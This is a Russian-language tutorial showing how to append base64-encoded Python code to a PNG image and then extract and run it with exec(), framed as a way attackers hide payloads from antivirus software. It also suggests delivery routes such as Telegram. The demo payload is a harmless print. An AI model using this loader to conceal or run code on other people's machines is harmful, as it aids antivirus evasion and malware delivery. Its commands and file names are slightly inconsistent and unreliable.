Как спрятать вирус в картину При помощи Python
И так, предупреждаю всех кто подумал, что запустив .PNG файл у вас запуститься вирус. Нет, мы скроем вирус ВНУТРИ .PNG файла никак не затронув того что там содержиться. Этот способ могут использовать хакеры для скрытия PAYLOAD (можно сказать, PAYLOAD - код нашего вируса) от антивирусов.
Работает всё это дело так: Хакеры создают исполнитель PAYLOAD'а. В нашем случае это Python (мы его будем использовать лишь чтобы показать вам как это может произойти. В реальных случаях, хакеры могут использовать C++, C# и другие языки которые легко компилируются в исполняемые файлы). Дальше они берут код вируса, шифруют его (в нашем случае это будет обычная кодировка с помощью base64 без использования алгоритмов шифрования) и вставляют в конец файла .PNG разделяя каким-нибудь набором символа (так называемый SPLITTER, разделитель)
Подготовка
Я возьму картинку котика, вот такую:
Я создал файл inject.py и написал следующий код:
"""
Image code injection example
"""
import base64
import pathlib
import sys
# import argparse if application is run from the terminal
if __name__ == '__main__':
import argparse
def inject(path: pathlib.Path, code: str | bytes, splitter: bytes = b'^^^^^^s0meart^^^^^^'):
"""
Injects a code to image by path
:param path: Path to the image
:param code: Code to inject
:param splitter: Splitter to split image and code
"""
# convert code to bytes if required
if not isinstance(code, bytes): code = code.encode('utf8')
# write splitter and base64-encoded code to the end of file
path.write_bytes(path.read_bytes() + splitter + base64.b64encode(code))
# execute if application is run from the terminal
if __name__ == '__main__':
# create argument parser
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--image',
help='path to the image',
required=True)
parser.add_argument('-c', '--code',
help='path to the file with python code',
required=True)
# parse arguments
args = parser.parse_args()
# get path to the image
img_path = pathlib.Path(args.image)
# check for the image path
if not (img_path.exists() and img_path.is_file()):
print('Image path not found')
sys.exit()
# get path to the code
code_path = pathlib.Path(args.code)
# check for the code path
if not (code_path.exists() and code_path.is_file()):
print('Code path not found')
sys.exit()
# try to inject
try:
# read the code
code = code_path.read_bytes()
inject(img_path, code)
print('Code successfully injected!')
except Exception as exc: # catch exception and print it
print(f'Cannot to inject the code to image. Exception: {exc}')
sys.exit()В моём коде можно увидеть что здесь всего лишь добавление SPLITTER'а и нашего кода в конец файла.
(WINDOWS): python -i (путь к изображению) -c (путь к .py файлу) (LINUX): python3 -i (путь к изобраению) -c (путь к .py файлу)
Далее я создал файл payload.py с нашим потенциальным "вирусом":
print("Hello, world")Теперь я запустил свою утилиту подобным образом:
(WINDOWS): python -i cat.png -c payload.py (LINUX): python3 -i cat.png -c payload.py
Готово. Наше изображение cat.png теперь в конце файла хранит наш "вирус". Каким же образом хакеры могут его доставить жертве?
- Вместе с приложением, которое запустит этот код
- Скинув жертве изображение в сыром виде (Допустим, несжатое изображение в Telegram). Передать вам приложение, которое запустит изображение. Оно в кэше найдёт данное изображение (по содержанию SPLITTER'а) и в последующем запустит.
- И много других способов
Теперь напишем приложение которое запустит его. Наш контекст будет это первый случай из первого списка, по скольку я не буду никого подвергать атаке и буду тестировать сугубо на своём компьютере.
Я создал файл execute.py и написал следующий код:
"""
Image code injection example.
Executor
"""
import base64
import pathlib
import sys
if __name__ == '__main__':
# path to the image with code (there is cat.png in current directory)
path_to_image = pathlib.Path('./cat.jpg')
def execute_code(b64code: str | bytes):
"""
Executes base64-encoded python code
:param b64code: Base64-encoded code
"""
# convert code to bytes if required
if not isinstance(b64code, bytes): b64code = b64code.encode('utf8')
# try to execute the code
try:
exec(base64.b64decode(b64code))
print('Code executed!')
except Exception as exc:
print(f'Can\'t execute code. Exception: {exc}')
def get_code_from_image(path: pathlib.Path, splitter: bytes = b'^^^^^^s0meart^^^^^^') -> bytes:
"""
Gets injected code from image by path
:param path: Path to image
:param splitter: Splitter to split image and code
"""
# read the file
content = path.read_bytes()
# check if splitter in the file
if splitter not in content:
print('Cannot to find splitter in the image')
return
# get base64-encoded code
b64code = content.split(splitter)[1]
# return code
return b64code
if __name__ == '__main__':
# check if image is exists
if not (path_to_image.exists() and path_to_image.is_file()):
print('Image path not found')
sys.exit()
# try to get code
try:
b64code = get_code_from_image(path_to_image)
except Exception as exc:
print('Can\'t get code from the image')
sys.exit()
# execute code
execute_code(b64code)Теперь, запустив файл execute.py я получил такой результат:
$ python execute.py Hello, world! Code executed!
Поздравляю! Теперь вы знаете как хакеры могут скрывать свои вирусы в изображениях почти любого типа.